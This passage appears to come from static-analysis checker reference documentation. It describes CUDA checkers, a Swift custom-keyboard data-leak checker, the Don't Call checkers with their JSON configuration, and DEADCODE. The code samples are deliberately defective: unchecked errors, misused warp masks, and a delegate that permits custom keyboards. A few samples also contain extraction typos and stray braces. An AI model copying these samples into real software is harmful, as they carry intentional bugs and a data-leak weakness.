        u[idx + 1] = -1 * u[idx + 1];
    }
}
```

4.116.3. Events

This section describes one or more events produced by the `CHECKER_NAME` checker.

- `create_device_thread_index` - This event marks when a variable is calculated by a built-in CUDA variable such as `blockIdx` or when a source model is handled.

- `assign` - An assignment flow event
- `device_thread_dependent_condition` - This event is added at the conditional expression that controls the control-flow for the thread synchronization or warp collective call.
- `thread_synchronization_call` - This event is added on the calls that perform thread synchronization directly or indirectly.
- `warp_collective_call` - This event is added on the calls that perform warp collective operations directly or indirectly.

4.117. CUDA.ERROR_INTERFACE

Quality Checker

4.117.1. Overview

Supported Languages: CUDA

The `CUDA.ERROR_INTERFACE` checker looks for an unchecked `CUresult` or `cudaError_t` return value after calling any CUDA library interface. CUDA libraries report errors by returning numeric error codes from interfaces. Because of the existence of asynchronous errors, if a program fails to check whether an interface call returned an error, one of the following happens:

- No diagnostic is produced for the error if the error was synchronous.
- If the error was asynchronous, a subsequent interface call returns the error. This might make it confusing to determine where the asynchronous error originated.

Enabled by default: The `CUDA.ERROR_INTERFACE` checker is enabled by default.

4.117.2. Examples

This section provides one or more `CUDA.ERROR_INTERFACE` examples.

```
void example() {
    int device = -1;
    const cudaDeviceProp *invalid_property = nullptr;
    cudaChooseDevice(&device, invalid_property);    //defect
}
```

4.117.3. Events

This section describes one or more events produced by the `CUDA.ERROR_INTERFACE` checker.

- `cuda_library_interface` - This event specifies the CUDA library interface with the `CUresult` or `cudaError_t` return type.

- `reassign` - This event flags the assignment of a new value to a variable when its previous error value has not been checked.
- `end_of_path` - This event specifies that we have reached the end of the path.

4.118. CUDA.ERROR_KERNEL_LAUNCH

Quality Checker

4.118.1. Overview

Supported Languages: CUDA

The `CUDA.ERROR_KERNEL_LAUNCH` checker looks for cases in which the `cudaGetLastError` function is not called to check errors after the code calls a kernel function.

Enabled by default: The `CUDA.ERROR_KERNEL_LAUNCH` checker is enabled by default.

4.118.2. Examples

This section provides one or more `CUDA.ERROR_KERNEL_LAUNCH` examples.

In the following example, the function `cudaGetLastError` is not called after the kernel function `kernel_fn`.

```
__global__ void kernel_fn() {}

int main() {
    kernel_fn<<<1, 2>>>(); // defect
    return 0;
}
```

4.119. CUDA.FORK

Quality Checker

4.119.1. Overview

Supported Languages: CUDA

The `CUDA.FORK` checker looks for the calling of any CUDA library interface, the use of any objects residing in storage allocated by CUDA library interfaces, and the use of any managed storage duration object after a call to `fork` and before a subsequent call to `exec`. The program duplicates itself via a call to `fork`. When calling `fork`, CUDA internal data structures or threads are not copied to the new process. Undefined behavior might result if CUDA is used after a call to `fork` and before a subsequent call to `exec`.

Enabled by default: The `CUDA.FORK` checker is enabled by default.

4.119.2. Examples

This section provides one or more `CUDA.FORK` examples.

Between the calling of `fork` and `execl`, the calling of `cudaSetDevice` has undefined behavior.

```
void example() {
    int32_t device = 0;

    pid_t fpid = fork();

    if (fpid < 0) {
        // ...
    } else if (fpid == 0) {
        if (cudaSuccess == cudaSetDevice(device)) {
        }

        execl("/bin/ls", "ls", "-a", NULL); //defect
    } else {
        // ...
    }
}
```

4.119.3. Events

This section describes one or more events produced by the `CUDA.FORK` checker.

- `call_cuda_interface` - This event marks that a CUDA library interface is called.
- `call_cuda_interface_indirectly` - This event marks that a CUDA library interface is called indirectly.
- `use_managed_object` - This event signals the use of a managed storage duration object in a function call.
- `use_managed_object_indirectly` - This event signals the use of a managed storage duration object in a function called indirectly.
- `cuda_alloc` - This event shows a call to CUDA interfaces for allocating storage.
- `use_cuda_alloc_object` - This event shows the use of an object that resides in storage allocated by CUDA library interfaces.
- `call_fork` - This event signals a call to `fork`.
- `call_fork_indirectly` - This event signals an indirect call to `fork`.

4.120. CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP

Security Checker

4.120.1. Overview

Supported Languages: CUDA

The `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP` checker finds defects in the following cases:

- a CUDA synchronized function is called with a mask, and some threads that execute the call are not named in the mask, or some threads that are named in the mask do not execute the call.
- a shuffle operation is run by a partial warp, and the width of the operation causes some inactive lanes to be used in the computation.

We track invocations of the following CUDA functions, which act as sources capable of generating masks:

- `__activemask`
- `__ballot_sync`
- `__match_all_sync`
- `__match_any_sync`

We also track invocations of the following CUDA functions (note that some functions are both sinks and sources):

- `__all_sync`
- `__any_sync`
- `__ballot_sync`
- `__match_all_sync`
- `__match_any_sync`
- `__shfl_sync`
- `__shfl_down_sync`
- `__shfl_up_sync`
- `__shfl_xor_sync`
- `__syncwarp`

Enabled by default - The `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP` is enabled by default.

4.120.2. Examples

This section provides one or more `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP` examples.

4.120.2.1. Literal mask tracking

This section contains sample code with bugs that are found by the literal mask tracking component of `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP`.

This is a problem because the 0 lane is referenced in the `else` block, but won't be participating in that call. A second defect is flagged because the third argument to the `__shfl_sync` function references a thread that is not participating. Two defects are reported here.

```
__device__ void broadcast(int32_t u) {
    uint32_t idx = threadIdx.x & 31;
    int32_t v = 0;
    if (0 == idx)
        v = u;
    else
        v = __shfl_sync(0b11111111111111111111111111111111, v, 0);
}
```

4.120.2.2. Generated mask tracking

This section contains code with bugs that are found by the generated mask tracking component of `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP`.

Here is a fairly typical bug: This is a defect because `foo()` is presumed not to be guaranteed to return the same boolean value for all threads in the warp; if it did, it would be a very unlikely choice for a ballot predicate. All threads in the warp execute the `syncwarp` call, but not all of them are named in the mask.

```
__device__ void untested_mask(){
    uint32_t mask = __ballot_sync(0xffffffff, foo());
    __syncwarp(mask);
}
```

There are possibly inactive threads in this mask: This is a defect because inactive threads in the mask cause incorrect results in this class of functions, and any inactive threads excluded by `mask1` will be explicitly included in `mask2`.

```
__device__ void unsafe_complement() {
    uint32_t mask1 = __ballot_sync(0xffffffff, foo());
    uint32_t mask2 = ~mask1;
    if (!foo()) {
        bar2();
        result2 = __shfl_sync(mask2, var2, 0);
    }
}
```

```
}
}
```

4.120.2.3. Partial warps

This section contains code with bugs that are found by the partial warp tracking component of `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP`.

Here is a fairly typical bug: This is a defect in `caller()` because the `test1` kernel is launched with 40 threads. That makes one complete warp of 32 threads, and one partial warp of 8 threads. The function calls `__shfl_sync()` with a width of 16, which means it breaks down its operations into two groups of 16 lanes. When run on the partial warp, the second group of lanes contains only inactive threads, so its results are unimportant, but the first group of lanes contains 8 active threads and 8 inactive threads, and the operation combines data from all 16 lanes, even when half of them contain invalid or stale data.

```
__device__ void calledFunc(){
    uint32_t mask = __shfl_sync(0xffffffff, var1, 1, 16);
    __syncwarp(mask);
}

__device__ int caller() {
    calledFunc<<<1, 40>>>();
    return (int) cudaGetLastError();
}
```

4.120.3. Options

This section describes one or more `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP` options.

Note: These checker options are not affected by the aggressiveness level.

- `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP:report_activemask:<boolean>`
- Setting this option allows the user to suppress the default reporting of a defect any time a mask produced by `__activemask()` is used. Defaults to `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP:report_activemask:true`

4.120.4. Events

This section describes one or more events produced by the `CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP` checker.

4.120.4.1. Literal mask tracking

A defect report will have one or more of the following events:

- `use_invalid_width` - Indicates that an explicit width parameter was passed to a shuffle operation, and that width was not an integer power of two that is also less than or equal to the warp size.

- `use_mask` - Indicates that a mask has been passed into a CUDA function.
- `invalid_parameter` - Indicates that a parameter passed to a shuffle operation was incompatible with the current set of participating threads and/or with the supplied literal mask.

4.120.4.2. Unsanitized mask use

A defect report will have one or more of the following events:

- `create_or_modify_mask` - Indicates an operation that creates or modifies a mask.
- `use_mask` - indicates that a function consumes a mask without it having been properly sanitized. Correctly sanitized masks will not lead to defect reports.

4.120.4.3. Invalid partial warp

A defect report will have the following event:

- `launch_partial_warp` - indicates the kernel invocation that created the partial warp, showing the required partial warp size.

4.121. CUDA.INITIATION_OBJECT_DEVICE_THREAD_BLOCK

Quality

4.121.1. Overview

Supported Languages: CUDA

The `CUDA.INITIATION_OBJECT_DEVICE_THREAD_BLOCK` checker looks for variables with device-thread-block storage duration, such as `__shared__` variables, that are read before being assigned a value. A device-thread-block storage duration object should not have an initializer or non-trivial type. Use of an uninitialized value leads to undefined behavior, therefore the first time a device-thread-block storage duration object is used, the object must be assigned a value.

Enabled by default: The `CUDA.INITIATION_OBJECT_DEVICE_THREAD_BLOCK` checker is enabled by default.

4.121.2. Examples

This section provides one or more `CUDA.INITIATION_OBJECT_DEVICE_THREAD_BLOCK` examples.

This checker looks for `__shared__` variable declarations on the execution path of kernel functions, and reports a violation if the variable is read before it is written. The `__shared__` variable `array` is not assigned before reading its value.

```
__global__ void example() {
```

```
__shared__ int array[100];
int t = threadIdx.x;
float C = 0.0;
C += array[t]; // defect
}
```

4.122. CUDA.INVALID_MEMORY_ACCESS

Quality Checker

4.122.1. Overview

Supported Languages: CUDA

The `CUDA.INVALID_MEMORY_ACCESS` checker finds cases where pointers into host or device memory are used incorrectly. CUDA code is executed on the host (CPU) or on one of many devices (GPU cores). Memory can be allocated on the host, or on the device, or can be "managed" or "shared", meaning that the compiler will take care of copying its contents to the appropriate locations. Pointers can refer to any of these types of memory, and might be passed between host/devices. The `CUDA.INVALID_MEMORY_ACCESS` checker searches for cases where pointers are used incorrectly, such as passing a host pointer to the device, or dereferencing a device pointer on the host.

The `CUDA.INVALID_MEMORY_ACCESS` checker is enabled by default.

4.122.2. Examples

This section provides one or more `CUDA.INVALID_MEMORY_ACCESS` examples.

The following is an example of a simple `CUDA.INVALID_MEMORY_ACCESS` defect, which belongs to the `host_private` subcategory:

```
__global__ void print(int &i) {
    printf("%d\n", i);
}

void host_to_device() {
    int i = 42;
    print<<<1, 1>>>(i); //defect

    assert(cudaGetLastError() == cudaSuccess);
    assert(cudaDeviceSynchronize() == cudaSuccess);
}
```

The following is an additional example for `host_private` where the `CUDA.INVALID_MEMORY_ACCESS` checker looks for incorrect uses of function pointers:

```
__global__ void kernel_print(void(*print_fn)(int&)) {
    int id = blockIdx.x * blockDim.x + threadIdx.x;
    (*print_fn)(id);
}
```

```
}  
void fn_ptr() {  
    kernel_print<<<1, 32>>>(&print); // defect  
    assert(cudaGetLastError() == cudaSuccess);  
    assert(cudaDeviceSynchronize() == cudaSuccess);  
}
```

The following is an example of a simple `CUDA.INVALID_MEMORY_ACCESS` defect, which belongs to the `device_private` subcategory:

```
void device_deref_on_host() {  
    int *p = nullptr;  
    cudaError_t err = cudaMalloc(&p, sizeof(int));  
    assert(err == cudaSuccess);  
    *p = 42; // defect  
}
```

The following is an example of a simple `CUDA.INVALID_MEMORY_ACCESS` defect, which belongs to the `device_thread` subcategory:

```
__device__ void share_ptr_with_other_devices() {  
    int i = 13;  
    __shfl_sync(~0, reinterpret_cast<uintptr_t>(&i), 0); // defect  
}
```

The following is an example of a simple `CUDA.INVALID_MEMORY_ACCESS` defect, which belongs to the `device_thread_block` subcategory:

```
__device__ int *device_global;  
__device__ void share_device_block_ptr() {  
    __shared__ int shared = 13;  
    device_global = &shared; // defect  
}
```

4.123. CUDA.SHARE_FUNCTION

Quality Checker

4.123.1. Overview

Supported Languages: CUDA

The `CUDA.SHARE_FUNCTION` checker is a quality checker for CUDA. CUDA code is executed on the host (CPU) or on one of many devices (GPU cores). Functions with only `__device__` signify that they can only be executed on the device. Similarly, functions with only `__host__` specifier (or alternatively with none of the `__host__`, `__device__` or `__global__` specifiers) can only be called on the host. This checker searches for violations of the above rule by looking at function calls to device-only function in host execution space, and vice-versa.

The `CUDA.SHARE_FUNCTION` checker is enabled by default.

4.123.2. Examples

This section provides one or more `CUDA.SHARE_FUNCTION` examples.

In this example, the function call to `foo` in `call_device_only` ends up calling a device-only function in host execution space, while the function call to `foo` in `call_host_only` ends up calling a host-only function in device execution space.

```
struct device_st {
    template <class T>
    __device__ T operator()(T t) {
        return t;
    }
};

struct host_st {
    template <class T>
    T operator()(T t) {
        return t;
    }
};

template <class St>
__host__ __device__
void foo(int &a, St s) {
    a = s(a);
}

void call_device_only(int a) {
    foo(a, device_st()); // defect
}

__device__ void call_host_only(int a) {
    foo(a, host_st()); // defect
}
```

4.124. CUDA.SHARE_OBJECT_STREAM_ASSOCIATED

Quality Checker

4.124.1. Overview

Supported Languages: CUDA

The `CUDA.SHARE_OBJECT_STREAM_ASSOCIATED` checker finds instances when managed global variables associated with a stream are accessed from a different stream. All such cases are defects.

The `CUDA.SHARE_OBJECT_STREAM_ASSOCIATED` checker is enabled by default. It is only applicable to CUDA-language translation units.

4.124.2. Examples

This section provides one or more `CUDA.SHARE_OBJECT_STREAM_ASSOCIATED` examples.

4.124.2.1. Global access example

This is a typical bug:

```
__device__ __managed__ int manX;
extern __device__ void doSomething(int);

__global__ void kernelReadsX()
{
    doSomething(manX);
}

cudaError_t test1()
{
    cudaError_t result;
    cudaStream_t streamX;
    result = cudaStreamCreate(&streamX);
    if (result != 0) {
        return result;
    }
    result = cudaStreamAttachMemAsync(streamX, &manX);
    if (result != 0) {
        return result;
    }
    kernelReadsX<<<1, 0, 0>>>();
    result = cudaGetLastError();
    if (result != 0) {
        return result;
    }
    result = cudaStreamDestroy(streamX);
    return result;
}
```

This is a bug because `manX` is associated with stream `streamX`, but then a kernel that accesses `manX` is launched on the default stream, not on stream `streamX`. This is forbidden.

4.124.2.2. Passed pointer access example

This is a typical bug:

```
__device__ __managed__ int manX;
extern __device__ void doSomething(int);

__global__ void kernelDoesSomething(int *param)
{
    doSomething(*param);
}
```

```
}  
  
cudaError_t test2()  
{  
    cudaError_t result;  
    cudaStream_t streamX;  
    result = cudaStreamCreate(&streamX);  
    if (result != 0) {  
        return result;  
    }  
    result = cudaStreamAttachMemAsync(streamX, &manX);  
    if (result != 0) {  
        return result;  
    }  
    kernelDoesSomething<<<1, 0, 0>>(&manX);  
    result = cudaGetLastError();  
    if (result != 0) {  
        return result;  
    }  
    result = cudaStreamDestroy(streamX);  
    return result;  
}
```

This is a bug because `manX` is associated with stream `streamX`, but then a pointer to that variable is passed to a kernel that is not launched on the `streamX` stream. A defect is reported even if the pointer is not dereferenced.

4.124.3. Events

This section describes one or more events produced by the `CUDA.SHARE_OBJECT_STREAM_ASSOCIATED` checker.

Access by global variable

When the conditions described above are satisfied, a defect is issued. A report will have the following three events:

- `bind_object_to_stream` - This event indicates that a global variable has been associated with a particular stream.
- `call_kernel_with_wrong_stream` - This event indicates that a kernel has been launched that makes use of one or more such associated variables, but has not been launched with the appropriate stream.
- `access_managed_global_variable` - This event indicates the location where that invalid access is made, in a callee of the kernel invocation.

4.125. CUDA.SPECIFIERS_INCONSISTENCY

Quality Checker

4.125.1. Overview

Supported Languages: CUDA

The `CUDA.SPECIFIERS_INCONSISTENCY` checker looks for inconsistencies in CUDA execution space (`__host__` and `__device__` specifiers) and kernel (`__global__`) function specifiers across function declarations.

The `CUDA.SPECIFIERS_INCONSISTENCY` checker is enabled by default for CUDA. It can be enabled with `-en CUDA.SPECIFIER_INCONSISTENCY` or `--all` options.

4.125.2. Examples

This section provides one or more `CUDA.SPECIFIERS_INCONSISTENCY` examples.

test1.cu

```
__host__ __device__ void foo_execution_space_inconsistent();//
CUDA.SPECIFIERS_INCONSISTENCY defect

int cuda_specifier_inconsistent() {
    foo_execution_space_inconsistent();
    return 0;
}
```

test2.cu

```
__host__ void foo_execution_space_inconsistent() { }
```

4.125.3. Events

This section describes one or more events produced by the `CUDA.SPECIFIERS_INCONSISTENCY` checker.

The declaration (or definition) event is the checker's main event. It indicates one of the declaration that is inconsistent with other declarations or the function definition. It is followed by one or more declaration (or definition) events for each declaration that is inconsistent with the declaration in the main event.

4.126. CUDA.SYNCHRONIZE_TERMINATION

Quality Checker

4.126.1. Overview

Supported Languages: CUDA

The `CUDA.SYNCHRONIZE_TERMINATION` checker looks for cases in which `cudaDeviceSynchronize` is not called to synchronize with all outstanding work on all devices before the host program terminates.

Enabled by default: The `CUDA.SYNCHRONIZE_TERMINATION` checker is enabled by default.

4.126.2. Examples

This section provides one or more `CUDA.SYNCHRONIZE_TERMINATION` examples.

In the following example, a defect is reported at the end of the main function, since `cudaDeviceSynchronize` was not called to synchronize with all outstanding work on all devices.

```
int main(int argc, char **argv) {
    kernel_call_that_may_fail<<<1, 1>>>();
    cudaError_t const retValue = cudaGetLastError();
    assert(cudaSuccess == retValue);

    return 0; //#defect
}
```

4.126.3. Events

This section describes one or more events produced by the `CUDA.SYNCHRONIZE_TERMINATION` checker.

- `call_kernel_func` - This event marks a kernel function call.
- `call_kernel_func_indirectlyevent_name` - This event flags a function call that indirectly launches a kernel function.
- `terminate_host` - This event flags a function call that terminates the host program.
- `terminate_host_indirectly` - This event flags a function call that terminates the host program indirectly.

4.127. CUSTOM_KEYBOARD_DATA_LEAK

Security Checker

4.127.1. Overview

Supported Languages: Swift

`CUSTOM_KEYBOARD_DATA_LEAK` finds cases where the optional delegate function is not implemented. It also identifies issues where the implemented function fails to perform code checking for the keyboard's extension point identifier.

Custom keyboards can intercept and leak sensitive data: assuming they evade security review, are installed, and are granted permissions to communicate over the network. The Operating System does not allow custom keyboards on secure text fields, so those fields are protected by default. For other fields

that may contain sensitive data, applications can prevent the use of custom keyboards by implementing an optional function in a class that implements the `UIApplicationDelegate` protocol.

Enabled by default: `CUSTOM_KEYBOARD_DATA_LEAK` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.127.2. Defect Anatomy

An `CUSTOM_KEYBOARD_DATA_LEAK` defect shows when controls for disabling custom keyboard control is not implemented.

4.127.3. Examples

This section provides one or more `CUSTOM_KEYBOARD_DATA_LEAK` examples.

This example implements the `application:shouldAllowExtensionPointIdentifier:` delegate function but does not return false for custom keyboards:

```
class AppDel : NSObject, UIApplicationDelegate
{
    // CUSTOM KEYBOARD DATA LEAKAGE here
    func application(
        _ application : UIApplication,
        shouldAllowExtensionPointIdentifier : UIApplicationExtensionPointIdentifier)
        -> Bool
    {
        return true
    }
}
```

4.128. DC.CUSTOM_CHECKER

Quality, Security (Don't Call) Checker

4.128.1. Migrate DC Custom Checkers to CodeXM

CodeXM is a language specifically designed for writing new checkers. As of release 2020.03, we recommend that you use CodeXM to implement custom checkers that can identify don't call issues. We also recommend that you migrate existing custom DC checkers to CodeXM.

For more information, see “Writing Your Own *Don't Call* Checker”.

4.128.2. Checker Description

Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++

Coverity Analysis provides some DC.* (Don't Call) checkers (see Section 4.132, “DC.STREAM_BUFFER”, Section 4.133, “DC.STRING_BUFFER”, and Section 4.134,

“DC.WEAK_CRYPT0”) that you can use in your analysis. You can also create DC.CUSTOM_* checkers with a JSON configuration file that you call by using the `--dc-config <file.json>` option to **cov-analyze**.

Top-level fields: The top-level fields in the JSON configuration file for this checker are the same as those for Web application security files. These are described in the *Security Directive Reference* > “Top-level value” section. Please read the important **Recommendation** and **Requirement** paragraphs in that section.

Directive syntax: The custom Don’t Call checker directive is a JSON object. For details on syntax, see `dc_checker_name`.

Example 1: Each new DC.CUSTOM_* checker requires at least one method.

```
{
  "type" : "Coverity analysis configuration",
  "format_version" : 12,
  "language" : "C-like",
  "directives" : [
    {
      "dc_checker_name" : "DC.CUSTOM_MY_CHECKER",
    },
    {
      "method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
      "methods" : { "named" : "strcmp" },
    },
  ],
}
```

Example 2: Now assume that you want to define two custom checkers: DC.CUSTOM_MY_CHECKER (which reports calls for three methods, `strcmp`, `strcat`, and `mybadfunc`) and DC.CUSTOM_ANOTHER_CHECKER (which reports calls to `memmove`). In this case, the configuration file needs to define a `dc_checker_name` for each checker. For each method, the configuration needs to define a `method_set_for_dc_checker` and add the named method to a DC.CUSTOM_* checker. The `method_set_for_dc_checker` directives can appear in any order, so long as they follow the declaration of the checker to which they refer.

```
{
  "type" : "Coverity analysis configuration",
  "format_version" : 12,
  "language" : "C-like",
  "directives" : [
    {
      "dc_checker_name" : "DC.CUSTOM_MY_CHECKER",
    },
    {
      "dc_checker_name" : "DC.CUSTOM_ANOTHER_CHECKER",
    },
    {
      "method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
      "methods" : { "named" : "strcmp" },
    },
  ],
}
```

```

    },
    {
      "method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
      "methods" : { "named" : "strcat" },
    },
    {
      "method_set_for_dc_checker" : "DC.CUSTOM_MY_CHECKER",
      "methods" : { "named" : "mybadfunc" },
      "txt_defect_message" : "Very bad function. Do not call mybadfunc again!",
      "txt_remediation_advice" : "Use mygoodfunc instead of mybadfunc.",
    },
    {
      "method_set_for_dc_checker" : "DC.CUSTOM_ANOTHER_CHECKER",
      "methods" : { "named" : "memmove" },
    },
  ],
}

```



Valid checker names

As with all Coverity checker names, your custom checker names must be completely capitalized, for example, `DC.CUSTOM_MY_CHECKER` or `DC.CUSTOM_MYCHECKER`, *not* `DC.Custom_My_Checker` or `DC.Custom_myChecker`. The checker name must begin with `DC.CUSTOM_` followed by a unique name of your choice.

Method name specification

- The method name for C is the base name.
- You can use the internal mangled name of the C++, C#, or Java function, which you can get through the `cov-find-function` [↗](#) command. To discover the name, write source that defines a method like the one you want to match, then use `cov-make-library -of <some file> <source>` followed by `cov-find-function --user-model-file <some file> <function's identifier>`, which will print the name you need to match.
- For C++, you can provide the full name for the function, including scope and parameters. For example, for a method `myMethod(char *)` in class `MyClass`, you use the following:

```
"MyClass::myMethod(char *)"
```

However, note that when you specify the full name, qualifiers such as `const` should come *after* the type name. For example, assume the following:

```

namespace NS {
  struct S1 { };

  struct S2 {
    void func(volatile const S1 * const &) { }
  };
}

```

Here, the function `func` must be identified as follows:

```
NS::S2::func(NS::S1 const volatile * const &)
```

- For Java and C#, you need to use the fully qualified name. For example, to add `void println(String)` in Java to the checker `DC.CUSTOM_MYJAVA_CHECKER`, you use the following directive:

```
{  
  "method_set_for_dc_checker" : "DC.CUSTOM_MYJAVA_CHECKER",  
  "methods" : { "named" : "java.io.PrintStream.println(java.lang.String)void" },  
},
```

To add the method `void WriteLine(String)` in C# to the checker `DC.CUSTOM_MYCSHARP_CHECKER`, you use the following directive:

```
{  
  "method_set_for_dc_checker" : "DC.CUSTOM_MYCSHARP_CHECKER",  
  "methods" : { "named" : "System.Console::WriteLine(System.String)System.Void" },  
},
```

4.129. DC.DANGEROUS

Quality, Security (Don't Call) Checker

4.129.1. Overview

Supported Languages: Java

`DC.DANGEROUS` detects unsafe calls to the deprecated `stop()` methods from `java.lang.Thread` and `java.lang.ThreadGroup`. It also detects calls to `java.lang.Thread.destroy()` because the method is not implemented, contrary to what a developer using that method might believe. Furthermore, calls to `java.io.ObjectOutputStream$PutField.write(java.io.ObjectOutput)` are detected because the calls might corrupt serialization streams.

Enabled by default: `DC.DANGEROUS` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

4.130. DC.DEADLOCK

Quality, Security (Don't Call) Checker

4.130.1. Overview

Supported Languages: Java

`DC.DEADLOCK` detects deadlock-prone calls to the deprecated methods `suspend()` and `resume()` from `java.lang.Thread` and `java.lang.ThreadGroup`. In addition, calls to `java.lang.Thread.countStackFrames()` and `java.lang.ThreadGroup.allowThreadSuspension(boolean)` are detected because they depend on `suspend()` methods.

Enabled by default: `DC.DEADLOCK` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.131. DC.PREDICTABLE_KEY_PASSWORD

Quality, Security Checker (Don't Call)

4.131.1. Overview

Supported Languages: C, C++, Objective C, Objective C++

`DC.PREDICTABLE_KEY_PASSWORD` detects calls to crypto APIs that result in the generation of weak or predictable keys.

`DC.PREDICTABLE_KEY_PASSWORD` detects the following APIs:

- In LibSodium crypto library:

- ```
int crypto_box_seed_keypair(unsigned char *pk, unsigned char *sk, const unsigned char *seed)
```

- ```
int crypto_sign_seed_keypair(unsigned char *pk, unsigned char *sk, const unsigned char *seed)
```

- In OpenSSL LibCrypto library:

- ```
void DES_set_key_unchecked(const_DES_cblock *key, DES_key_schedule *schedule)
```

- ```
void DES_string_to_key(const char *str, DES_cblock *key)
```

- ```
void DES_string_to_2keys(const char *str, DES_cblock *key2)
```

**Disabled by default:** `DC.PREDICTABLE_KEY_PASSWORD` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable `DC.PREDICTABLE_KEY_PASSWORD` along with other security checkers, use the `--security` option with the `cov-analyze` command.

## 4.132. DC.STREAM\_BUFFER

Quality, Security (Don't Call) Checker

### 4.132.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

DC.STREAM\_BUFFER detects calls to unsafe I/O functions that are accessing a stream buffer (specifically, `scanf`, `fscanf`, `gets`) that could cause buffer overflow.

**Disabled by default:** DC.STREAM\_BUFFER is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable DC.STREAM\_BUFFER along with other security checkers, use the `--security` option with the `cov-analyze` command.

## 4.133. DC.STRING\_BUFFER

Quality, Security (Don't Call) Checker

### 4.133.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

DC.STRING\_BUFFER detects calls to functions that are accessing string buffers (`sprintf`, `sscanf`, `strcat`, `strcpy`, and `__builtin___sprintf_chk`) that could cause buffer overflow.

**Disabled by default:** DC.STRING\_BUFFER is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

## 4.134. DC.WEAK\_CRYPT

Quality, Security (Don't Call) Checker

### 4.134.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

DC.WEAK\_CRYPT detects calls to functions that produce unsafe sequences of pseudorandom numbers. The functions match these patterns: `initstate`, `lcong48`, `rand`, `random`, `seed48`, `setstate`, and `[dejlmn]rand48` (includes a regular expression that identifies six separate functions). This checker also detects these two LibTomCrypt calls: `yarrow_start` and `rc4_start`. These functions set up a pseudorandom number generator but do not seed it.

The functions that DC.WEAK\_CRYPT detects should not be used for encryption, because it is too easy to break the encryption.

**Disabled by default:** DC.WEAK\_CRYPT is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable `DC.WEAK_CRYPTO` along with other security checkers, use the `--security` option with the **cov-analyze** command.

## 4.135. DEADCODE

Quality Checker

### 4.135.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, Scala, TypeScript, Visual Basic

DEADCODE finds code that can never be reached due to branches whose condition will always evaluate exactly the same each time. In other words, `DEADCODE` reports false paths.



#### Note

Code like this is also known as *unreachable* code. Some writers use *dead code* to describe code that executes, but whose result is never used. The `DEADCODE` checker does not report this latter kind of code.

Also, `DEADCODE` does not warn about function-level dead code such as static functions that are never called.

Faulty code assumptions or other logic errors are often responsible for dead code. These defects can have a broad range of effects. For example, if you make a logic error, such as `<=` instead of a `<`, or `&&` instead of `||`, the resulting behavior might be incorrect. At best, dead code increases the size of source code (and associated binaries). More seriously, logic errors can cause important code to never execute, which can adversely affect program results. At worst, logic errors can cause a program to crash.

Some dead code might be intentional. Defensive error checks, for example, might cause some currently unreachable error paths, but are included to guard against future changes. Also, code that uses `#if` preprocessor statements to conditionally compile different blocks for different configurations might have dead code in certain configurations.

Fixing these defects depends on what the code was intended to do. Removing truly dead code will eliminate the defect.

**Enabled by default:** `DEADCODE` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.135.2. Defect Anatomy

This section describes one or more events produced by the `DEADCODE` checker.

Other checkers report events along viable execution paths. `DEADCODE` does the opposite: It reports paths that are *not* viable. If you don't keep this in mind, the messages it generates might seem confusing.

When `DEADCODE` reports a defect, the main event is one of the following:

- `dead_error_line`: When the dead code consists of a single line
- `dead_error_begin`: When the dead code includes more than one line of code.

Dead code must lie on the path of an infeasible condition. The `dead_error_condition` event points to that condition.

The `DEADCODE` event can also show additional path events that are related to the infeasible condition. These events should explain why the condition cannot be satisfied.

### 4.135.3. Examples

This section provides one or more `DEADCODE` examples.

#### 4.135.3.1. C/C++

In the following C/C++ example, dead code appears in the second `if` statement because `p` cannot be null. Check if `handle_error()` should be called earlier.

```
int deadcode_example1(int *p) {
 if(p == NULL) {
 return -1;
 }

 use_p(*p);
 if (p == NULL) { // p cannot be null.
 handle_error(); // Defect: dead code
 return -1;
 }
 return 0;
}
```

```
void deadcode_example2(void *p) {
 int c = (p == NULL);

 if (p != NULL && c) { // Always false
 do_some_other_work(); // Defect: dead code
 }
}
```

#### 4.135.3.2. C#

In the following example, `i` cannot be both `10` and `12` at the same time, so `i` must be unequal to at least one of those two values. Therefore, the `if` condition will always be true, and the return will always be executed.

```
public class Deadcode{
```

```
public void bad(int i)
{
 if(i != 10 || i != 12) {
 return;
 }
 // Defect: dead code
 ++i;
}
}
```

#### 4.135.3.3. Go

In the following example, A `DEADCODE` defect is shown for the third `return` statement

```
func dead(i int) int {
 if i > 10 {
 return 1
 } else if i < 20 {
 return 2
 }
 return 3 // DEADCODE defect here
}
```

#### 4.135.3.4. Java

In the following Java example, dead code appears in the second `if` statement. Because of the first `if` statement, `o2` cannot be null if `o1` is null. Note that the `deadcode1` example below produces a defect if `DEADCODE:report_redundant_tests` is set to `true`.

```
class Example {
 boolean deadcode1(Object o1, Object o2) {
 if(o1 == null && o2 == null) {
 return true;
 } else if(o1 == null && o2 != null) {
 // The check above for o2 != null is useless:
 // Because of the first condition,
 // o2 cannot be null if o1 is null.
 return false;
